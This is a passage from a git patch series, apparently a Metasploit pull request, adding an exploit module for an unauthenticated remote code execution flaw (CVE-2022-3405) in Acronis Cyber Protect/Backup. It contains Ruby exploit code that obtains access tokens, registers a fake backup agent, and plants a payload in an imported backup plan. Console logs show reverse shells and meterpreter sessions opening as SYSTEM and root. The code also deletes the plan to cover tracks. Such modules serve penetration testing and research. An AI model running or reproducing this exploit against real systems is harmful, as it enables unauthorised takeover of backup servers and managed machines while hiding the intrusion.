cmd/windows/reverse_powershell +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin +[*] Found online target matching your target setting Windows Command. +[+] hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC +[+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks +[+] key: phm.0CA16CD4-1C6D-44D2-BEF1-B9F146005EE1@28BAFD9F-F9F1-481F-A970-1A6ED70736AC.disks +[*] type: machine +[*] hostname: WIN-BJDNH44EEDB +[*] IP: 192.168.201.5 +[*] OS: Microsoft Windows Server 2019 Standard +[*] ARCH: windows +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC. +[*] Executing Windows Command with payload cmd/windows/reverse_powershell +[+] Backup plan is successful removed. +[*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000 + + +Shell Banner: +Microsoft Windows [Version 10.0.17763.107] +----- + + +C:\Windows\system32>whoami +whoami +nt authority\system + +C:\Windows\system32>systeminfo +systeminfo + +Host Name: WIN-BJDNH44EEDB +OS Name: Microsoft Windows Server 2019 Standard +OS Version: 10.0.17763 N/A Build 17763 +OS Manufacturer: Microsoft Corporation +OS Configuration: Standalone Server +OS Build Type: Multiprocessor Free +Registered Owner: Windows User +Registered Organization: +Product ID: 00429-70000-00000-AA946 +Original Install Date: 1/26/2023, 10:05:52 AM +System Boot Time: 10/23/2024, 2:44:05 PM +System Manufacturer: innotek GmbH +System Model: VirtualBox +System Type: x64-based PC +Processor(s): 1 Processor(s) Installed. + [01]: Intel64 Family 6 Model 158 Stepping 13 GenuineIntel ~2307 Mhz +BIOS Version: innotek GmbH VirtualBox, 12/1/2006 +Windows Directory: C:\Windows +System Directory: C:\Windows\system32 +Boot Device: \Device\HarddiskVolume1 +System Locale: en-us;English (United States) +Input Locale: en-us;English (United States) +Time Zone: (UTC+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna +Total Physical Memory: 2,048 MB +Available Physical Memory: 475 MB +Virtual Memory: Max Size: 4,224 MB +Virtual Memory: Available: 2,800 MB +Virtual Memory: In Use: 1,424 MB +Page File Location(s): C:\pagefile.sys +Domain: WORKGROUP +Logon Server: N/A +Hotfix(s): 1 Hotfix(s) Installed. + [01]: KB4464455 +Network Card(s): 1 NIC(s) Installed. + [01]: Intel(R) PRO/1000 MT Desktop Adapter + Connection Name: Ethernet + DHCP Enabled: No + IP address(es) + [01]: 192.168.201.5 + [02]: fe80::85ec:4690:3774:2b6b + [03]: fdf7:94fa:75b3:fe44:85ec:4690:3774:2b6b +Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed. + +C:\Windows\system32> +``` +### Acronis Cyber Backup 15 build 27009 VMware appliance - Linux target +```msf +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set rhosts 192.168.201.6 +rhosts => 192.168.201.6 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 0 +target => 0 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/unix/reverse_bash +payload => cmd/unix/reverse_bash +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit + +[*] Started reverse TCP handler on 192.168.201.8:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[!] The service is running, but could not be validated. +[*] Retrieve the first access token. +[*] Register a dummy backup agent. +[*] Dummy backup agent registration is successful. +[*] Retrieve the second access token. +[+] Acronis Cyber Protect/Backup 15.0.27009 - VULNERABLE +[*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. +[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023121954_default_192.168.201.6_acronis.cyber.pr_571431.bin +[*] Found online target matching your target setting Unix/Linux Command. +[+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D +[+] parentId: 00000000-0000-0000-0000-000000000000 +[+] key: phm.EA9A6E26-38B5-4727-9957-FD7CDD7BF2CC@D287E868-EDBB-4FE9-85A9-F928AA10EE5D.disks +[*] type: machine +[*] hostname: AcronisAppliance-FCD94 +[*] IP: 192.168.201.6 +[*] OS: Linux: CentOS Linux release 7.6.1810 (Core) +[*] ARCH: linux +[*] ONLINE: true +[*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D. +[*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash +[+] Backup plan is successful removed. +[*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000 + +uname -a +Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux +id +uid=0(root) gid=0(root) groups=0(root) +pwd +/var/lib/Acronis/mms +``` + +## Limitations +In some occasions, the exploit might fail. Repeating a few times might help. From 331a3ad74ac15f0372efb89ea08f83ff73a47725 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 14:40:00 +0000 Subject: [PATCH 04/10] second release module and documentation with some small tweaks --- .../multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md | 3 ++- .../multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb | 5 +++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md index 0c8275810d31..e478fa6b8ae1 100644 --- a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -345,4 +345,5 @@ pwd ``` ## Limitations -In some occasions, the exploit might fail. Repeating a few times might help. +In some occasions, the exploit might fail. +Playing with the option `WfsDelay` might help. diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index 7202ff60555a..75f50f09f818 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -244,14 +244,14 @@ def create_and_import_backup_plan(hostid, parentid, key, payload) case target['Type'] when :unix_cmd - source_dir = '/mnt' + source_dir = '/home' target_dir = '/tmp' when :win_cmd source_dir = 'c:/users/public' target_dir = 'c:/windows/temp' else # probably macOS or other unix version - source_dir = '/mnt' + source_dir = '/home' target_dir = '/tmp' end @@ -605,6 +605,7 @@ def exploit end # try to remove imported backup plan with payload to cover our tracks + sleep(datastore['WfsDelay']) if remove_backup_plan print_good('Backup plan is successful removed.') else From d9f8b66d216ed5c786fcc0e15fc46a6f1ddcbe02 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 23 Oct 2024 17:36:00 +0000 Subject: [PATCH 05/10] updated documentation with some small tweaks --- .../multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md index e478fa6b8ae1..daf91331e66b 100644 --- a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -346,4 +346,4 @@ pwd ## Limitations In some occasions, the exploit might fail. -Playing with the option `WfsDelay` might help. +Adjust the `WfsDelay` advanced option might help. From ae176fdfd5837c16c0a53b03bab59704b012a1aa Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 25 Oct 2024 14:01:10 +0000 Subject: [PATCH 06/10] update based on review comments of adfoster-r7 --- ..._cyber_protect_unauth_rce_cve_2022_3405.md | 17 +-- ..._cyber_protect_unauth_rce_cve_2022_3405.rb | 132 ++++++++++++------ 2 files changed, 96 insertions(+), 53 deletions(-) diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md index daf91331e66b..a42df399fcd6 100644 --- a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -112,6 +112,7 @@ Basic options: cronis_cyber_protect_machine_info_disclosure" KEY no key value collected from recon module "auxiliary/gather/acro nis_cyber_protect_machine_info_disclosure" + OUTPUT none yes Output format to use (Accepted: none, json) PARENTID no parentId value collected from recon module "auxiliary/gather /acronis_cyber_protect_machine_info_disclosure" Proxies no A proxy chain of format type:host:port[,type:host:port][...] @@ -179,9 +180,8 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. -[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. -[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023123539_default_192.168.201.6_acronis.cyber.pr_943568.bin [*] Found online target matching your target setting Unix/Linux Command. [+] hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83 [+] parentId: phm-group.7C2057CC-8D32-40CA-9B83-4A8E73078F7F.disks @@ -194,9 +194,9 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] ONLINE: true [*] Import backup plan with payload for target with hostId: 345C3F1E-92C3-4E92-8EF8-AC6BF136BB83. [*] Executing Unix/Linux Command with payload cmd/linux/http/x64/meterpreter/reverse_tcp -[+] Backup plan is successful removed. [*] Sending stage (3045380 bytes) to 192.168.201.6 [*] Meterpreter session 22 opened (192.168.201.8:4444 -> 192.168.201.6:60862) at 2024-10-23 12:35:44 +0000 +[+] Backup plan is successful removed. meterpreter > getuid Server username: root @@ -214,6 +214,8 @@ meterpreter > ```msf msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set target 1 target => 1 +msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set output json +output => json msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > set payload cmd/windows/reverse_powershell payload => cmd/windows/reverse_powershell msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit @@ -225,7 +227,7 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. -[+] Acronis Cyber Protect/Backup 12.5.14330 - VULNERABLE +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 12.5.14330 [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. [+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023124641_default_192.168.201.6_acronis.cyber.pr_949551.bin [*] Found online target matching your target setting Windows Command. @@ -240,8 +242,8 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] ONLINE: true [*] Import backup plan with payload for target with hostId: 28BAFD9F-F9F1-481F-A970-1A6ED70736AC. [*] Executing Windows Command with payload cmd/windows/reverse_powershell -[+] Backup plan is successful removed. [*] Command shell session 23 opened (192.168.201.8:4444 -> 192.168.201.5:49780) at 2024-10-23 12:46:51 +0000 +[+] Backup plan is successful removed. Shell Banner: @@ -318,9 +320,8 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] Register a dummy backup agent. [*] Dummy backup agent registration is successful. [*] Retrieve the second access token. -[+] Acronis Cyber Protect/Backup 15.0.27009 - VULNERABLE +[+] The target appears to be vulnerable. Acronis Cyber Protect/Backup 15.0.27009 [*] Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance. -[+] Configuration details are successfully saved in json format to /root/.msf4/loot/20241023121954_default_192.168.201.6_acronis.cyber.pr_571431.bin [*] Found online target matching your target setting Unix/Linux Command. [+] hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D [+] parentId: 00000000-0000-0000-0000-000000000000 @@ -333,8 +334,8 @@ msf6 exploit(multi/acronis_cyber_protect_unauth_rce_cve_2022_3405) > exploit [*] ONLINE: true [*] Import backup plan with payload for target with hostId: D287E868-EDBB-4FE9-85A9-F928AA10EE5D. [*] Executing Unix/Linux Command with payload cmd/unix/reverse_bash -[+] Backup plan is successful removed. [*] Command shell session 21 opened (192.168.201.8:4444 -> 192.168.201.6:35722) at 2024-10-23 12:20:05 +0000 +[+] Backup plan is successful removed. uname -a Linux AcronisAppliance-FCD94 3.10.0-957.27.2.el7.x86_64 #1 SMP Mon Jul 29 17:46:05 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index 75f50f09f818..e1c044c9406f 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -88,7 +88,8 @@ def initialize(info = {}) OptString.new('TARGETURI', [true, 'The URI of the vulnerable Acronis Cyber Protect/Backup instance', '/']), OptString.new('HOSTID', [false, 'hostId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), OptString.new('PARENTID', [false, 'parentId value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), - OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']) + OptString.new('KEY', [false, 'key value collected from recon module "auxiliary/gather/acronis_cyber_protect_machine_info_disclosure"', '']), + OptEnum.new('OUTPUT', [true, 'Output format to use', 'none', ['none', 'json']]) ]) end @@ -189,8 +190,10 @@ def get_machine_info return unless res&.code == 200 return unless res.body.include?('items') || res.body.include?('data') - loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') - print_good("Configuration details are successfully saved in json format to #{loot_path}") + if datastore['OUTPUT'] == 'json' + loot_path = store_loot('acronis.cyber.protect.config', 'application/json', datastore['RHOSTS'], res.body, 'configuration', 'endpoint configuration') + print_good("Configuration details are successfully saved in json format to #{loot_path}") + end # parse json response and get the relevant machine info res_json = res.get_json_document @@ -220,16 +223,46 @@ def get_version_info res_json['backendVersion'] end - # return true if the acronis protect/backup api service is running or false if not found - def acronis_cyber_service_running? + # check if the target is running the acronis protect/backup and return the version information. + def get_acronis_cyber_protect_version + # initial check on api access res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), 'ctype' => 'application/json' }) - return false unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + return unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') - true + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + if @access_token1.nil? + print_warning('Retrieval of the first access token failed.') + return nil + end + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id) + if client_secret.nil? + print_warning('Registering a dummy agent failed.') + return nil + end + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + if @access_token2.nil? + print_warning('Retrieval of the second access token failed.') + return nil + end + + # get version info + get_version_info end # create and import backup plan data with payload @@ -523,43 +556,60 @@ def execute_command(_opts = {}) true end - def check - return Exploit::CheckCode::Detected if acronis_cyber_service_running? - - Exploit::CheckCode::Unknown('Can not determine if the Acronis Cyber Protect or Backup service is running.') + def cleanup + # try to remove imported backup plan with payload to cover our tracks + super + if remove_backup_plan + print_good('Backup plan is successful removed.') + else + print_warning('Backup plan could not be removed. Try to clean it manually.') + end end - def exploit - # get first access token - print_status('Retrieve the first access token.') - @access_token1 = get_access_token1 - vprint_status("AT1: #{@access_token1}") - fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? - - # register a dummy agent - client_id = SecureRandom.uuid - print_status('Register a dummy backup agent.') - client_secret = dummy_agent_registration(client_id) - fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? - print_status('Dummy backup agent registration is successful.') - - # get second access_token - print_status('Retrieve the second access token.') - @access_token2 = get_access_token2(client_id, client_secret) - vprint_status("AT2: #{@access_token2}") - fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? + def check + version = get_acronis_cyber_protect_version + return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? - # get version info - version = get_version_info - fail_with(Failure::NotFound, 'Can not find any version information.') if version.nil? release = version.match(/(.+)\.(\d+)/) case release[1] when '15.0' - print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + if Rex::Version.new(version) < Rex::Version.new('15.0.29486') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end when '12.5' - print_good("Acronis Cyber Protect/Backup #{version} - VULNERABLE") if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + if Rex::Version.new(version) < Rex::Version.new('12.5.16545') + return Exploit::CheckCode::Appears("Acronis Cyber Protect/Backup #{version}") + else + return Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end else - print_status("Acronis Cyber Protect/Backup #{version}") + Exploit::CheckCode::Safe("Acronis Cyber Protect/Backup #{version}") + end + end + + def exploit + # check if @access_token2 is already set as part of autocheck option + if @access_token2.nil? + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + fail_with(Failure::NoAccess, 'Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id) + fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + fail_with(Failure::NoAccess, 'Retrieval of the second access token failed.') if @access_token2.nil? end # if hostid, parentid and key are blank, fetch the first managed online endpoint defined at the appliance matching the module target setting @@ -591,7 +641,7 @@ def exploit break end end - fail_with(Failure::NotFound, "No target availabe matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? + fail_with(Failure::NotFound, "No target available matching your target setting #{target.name}.") if hostid.blank? || parentid.blank? || key.blank? # create and import backup plan with payload print_status("Import backup plan with payload for target with hostId: #{hostid}.") @@ -603,13 +653,5 @@ def exploit when :unix_cmd, :win_cmd execute_command end - - # try to remove imported backup plan with payload to cover our tracks - sleep(datastore['WfsDelay']) - if remove_backup_plan - print_good('Backup plan is successful removed.') - else - print_warning('Backup plan could not be removed. Try to clean it manually.') - end end end From 6aeb9d130b13fab15a21371c34caafa1d3c5b2ca Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Fri, 25 Oct 2024 14:13:18 +0000 Subject: [PATCH 07/10] added the output option to the documentation --- .../multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md index a42df399fcd6..8d55ed46fa41 100644 --- a/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md +++ b/documentation/modules/exploit/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.md @@ -68,6 +68,10 @@ HostId value collected from the recon module `auxiliary/gather/acronis_cyber_pro Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. ### PARENTID ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. +### OUTPUT +You can use option `none` where no information is stored or printed to the console (default). +Choosing option `json` will store all information at a file in `json` format at the loot directory. +You can use this file in combination with `jq` for offline queries and processing. ## Scenarios ```msf From 3a2aa0f31c3c3f94c63b945afed1b92c68dadd72 Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 27 Nov 2024 21:31:40 +0000 Subject: [PATCH 08/10] module prep to use acronis_cyber mixin --- ..._cyber_protect_unauth_rce_cve_2022_3405.rb | 119 +++++++++--------- 1 file changed, 56 insertions(+), 63 deletions(-) diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index e1c044c9406f..8124cd7cff5a 100644 --- a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb +++ b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb @@ -8,6 +8,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + # include Msf::Exploit::Remote::HTTP::AcronisCyber prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) @@ -119,7 +120,7 @@ def get_access_token1 end # returns the client_secret if successful otherwise nil - def dummy_agent_registration(client_id) + def dummy_agent_registration(client_id, access_token1) name = Rex::Text.rand_text_alphanumeric(5..8).downcase post_data = { client_id: client_id.to_s, @@ -134,7 +135,7 @@ def dummy_agent_registration(client_id) 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token1}" + 'Authorization' => "bearer #{access_token1}" }, 'data' => post_data.to_s }) @@ -173,7 +174,7 @@ def get_access_token2(client_id, client_secret) end # return all configured items in json format or return nil if not successful - def get_machine_info + def get_machine_info(access_token2) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'resources'), @@ -181,7 +182,7 @@ def get_machine_info 'keep_cookies' => true, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" }, 'vars_get' => { 'embed' => 'details' @@ -203,14 +204,14 @@ def get_machine_info end # return version information or nil if not successful - def get_version_info + def get_version_info(access_token2) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'api', 'ams', 'versions'), 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" } }) return unless res&.code == 200 @@ -223,51 +224,9 @@ def get_version_info res_json['backendVersion'] end - # check if the target is running the acronis protect/backup and return the version information. - def get_acronis_cyber_protect_version - # initial check on api access - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), - 'ctype' => 'application/json' - }) - return unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') - - # get first access token - print_status('Retrieve the first access token.') - @access_token1 = get_access_token1 - vprint_status("Extracted first access token: #{@access_token1}") - if @access_token1.nil? - print_warning('Retrieval of the first access token failed.') - return nil - end - - # register a dummy agent - client_id = SecureRandom.uuid - print_status('Register a dummy backup agent.') - client_secret = dummy_agent_registration(client_id) - if client_secret.nil? - print_warning('Registering a dummy agent failed.') - return nil - end - print_status('Dummy backup agent registration is successful.') - - # get second access_token - print_status('Retrieve the second access token.') - @access_token2 = get_access_token2(client_id, client_secret) - vprint_status("Extracted second access token: #{@access_token2}") - if @access_token2.nil? - print_warning('Retrieval of the second access token failed.') - return nil - end - - # get version info - get_version_info - end - # create and import backup plan data with payload # returns nil if not successful - def create_and_import_backup_plan(hostid, parentid, key, payload) + def create_and_import_backup_plan(hostid, parentid, key, payload, access_token2) id = SecureRandom.uuid name = Rex::Text.rand_text_alphanumeric(5..8).downcase @@ -496,7 +455,7 @@ def create_and_import_backup_plan(hostid, parentid, key, payload) 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" }, 'data' => form_data.to_s, 'vars_get' => { @@ -514,7 +473,7 @@ def create_and_import_backup_plan(hostid, parentid, key, payload) # remove the backup plan on the target including the payload # returns true if successful - def remove_backup_plan + def remove_backup_plan(access_token2) post_data = { planIds: [@planid.to_s] }.to_json @@ -525,7 +484,7 @@ def remove_backup_plan 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" }, 'data' => post_data.to_s }) @@ -536,7 +495,7 @@ def remove_backup_plan # execute the backup plan on the target including the payload # returns true if successful - def execute_command(_opts = {}) + def execute_command(access_token2, _opts = {}) post_data = { planId: @planid.to_s }.to_json @@ -547,7 +506,7 @@ def execute_command(_opts = {}) 'ctype' => 'application/json', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', - 'Authorization' => "bearer #{@access_token2}" + 'Authorization' => "bearer #{access_token2}" }, 'data' => post_data.to_s }) @@ -558,16 +517,49 @@ def execute_command(_opts = {}) def cleanup # try to remove imported backup plan with payload to cover our tracks + # but do not run during the check phase super - if remove_backup_plan - print_good('Backup plan is successful removed.') - else - print_warning('Backup plan could not be removed. Try to clean it manually.') + unless @check_running + if remove_backup_plan(@access_token2) + print_good('Backup plan is successful removed.') + else + print_warning('Backup plan could not be removed. Try to clean it manually.') + end end end def check - version = get_acronis_cyber_protect_version + @check_running = true + # initial check on api access + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'meta'), + 'ctype' => 'application/json' + }) + return Exploit::CheckCode::Unknown('No Acronis API access found!') unless res&.code == 200 && res.body.include?('uri') && res.body.include?('method') + + # get first access token + print_status('Retrieve the first access token.') + @access_token1 = get_access_token1 + vprint_status("Extracted first access token: #{@access_token1}") + return Exploit::CheckCode::Unknown('Retrieval of the first access token failed.') if @access_token1.nil? + + # register a dummy agent + client_id = SecureRandom.uuid + print_status('Register a dummy backup agent.') + client_secret = dummy_agent_registration(client_id, @access_token1) + return Exploit::CheckCode::Unknown('Registering a dummy agent failed.') if client_secret.nil? + + print_status('Dummy backup agent registration is successful.') + + # get second access_token + print_status('Retrieve the second access token.') + @access_token2 = get_access_token2(client_id, client_secret) + vprint_status("Extracted second access token: #{@access_token2}") + return Exploit::CheckCode::Unknown('Retrieval of the second access token failed.') if @access_token2.nil? + + # get version info + version = get_version_info(@access_token2) return Exploit::CheckCode::Unknown('Can not find any version information.') if version.nil? release = version.match(/(.+)\.(\d+)/) @@ -590,6 +582,7 @@ def check end def exploit + @check_running = false # check if @access_token2 is already set as part of autocheck option if @access_token2.nil? # get first access token @@ -601,7 +594,7 @@ def exploit # register a dummy agent client_id = SecureRandom.uuid print_status('Register a dummy backup agent.') - client_secret = dummy_agent_registration(client_id) + client_secret = dummy_agent_registration(client_id, @access_token1) fail_with(Failure::BadConfig, 'Registering a dummy agent failed.') if client_secret.nil? print_status('Dummy backup agent registration is successful.') @@ -618,7 +611,7 @@ def exploit key = datastore['KEY'] if hostid.blank? || parentid.blank? || key.blank? print_status('Retrieve first online target registered at the Acronis Cyber Protect/Backup appliance.') - res_json = get_machine_info + res_json = get_machine_info(@access_token2) fail_with(Failure::NotFound, 'Can not find any configuration information.') if res_json.nil? # find first online target matching the module target settings @@ -645,13 +638,13 @@ def exploit # create and import backup plan with payload print_status("Import backup plan with payload for target with hostId: #{hostid}.") - @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded) + @planid = create_and_import_backup_plan(hostid, parentid, key, payload.encoded, @access_token2) fail_with(Failure::BadConfig, 'Importing backup plan with payload failed.') if @planid.nil? print_status("Executing #{target.name} with payload #{datastore['PAYLOAD']}") case target['Type'] when :unix_cmd, :win_cmd - execute_command + execute_command(@access_token2) end end end From 2115c81654819d9b01cff4374c2f923e714dcd4d Mon Sep 17 00:00:00 2001 From: h00die-gr3y Date: Wed, 27 Nov 2024 22:21:27 +0000 Subject: [PATCH 09/10] update using acronis_cyber mixin --- ..._cyber_protect_unauth_rce_cve_2022_3405.rb | 132 +----------------- 1 file changed, 1 insertion(+), 131 deletions(-) diff --git a/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb b/modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405.rb index 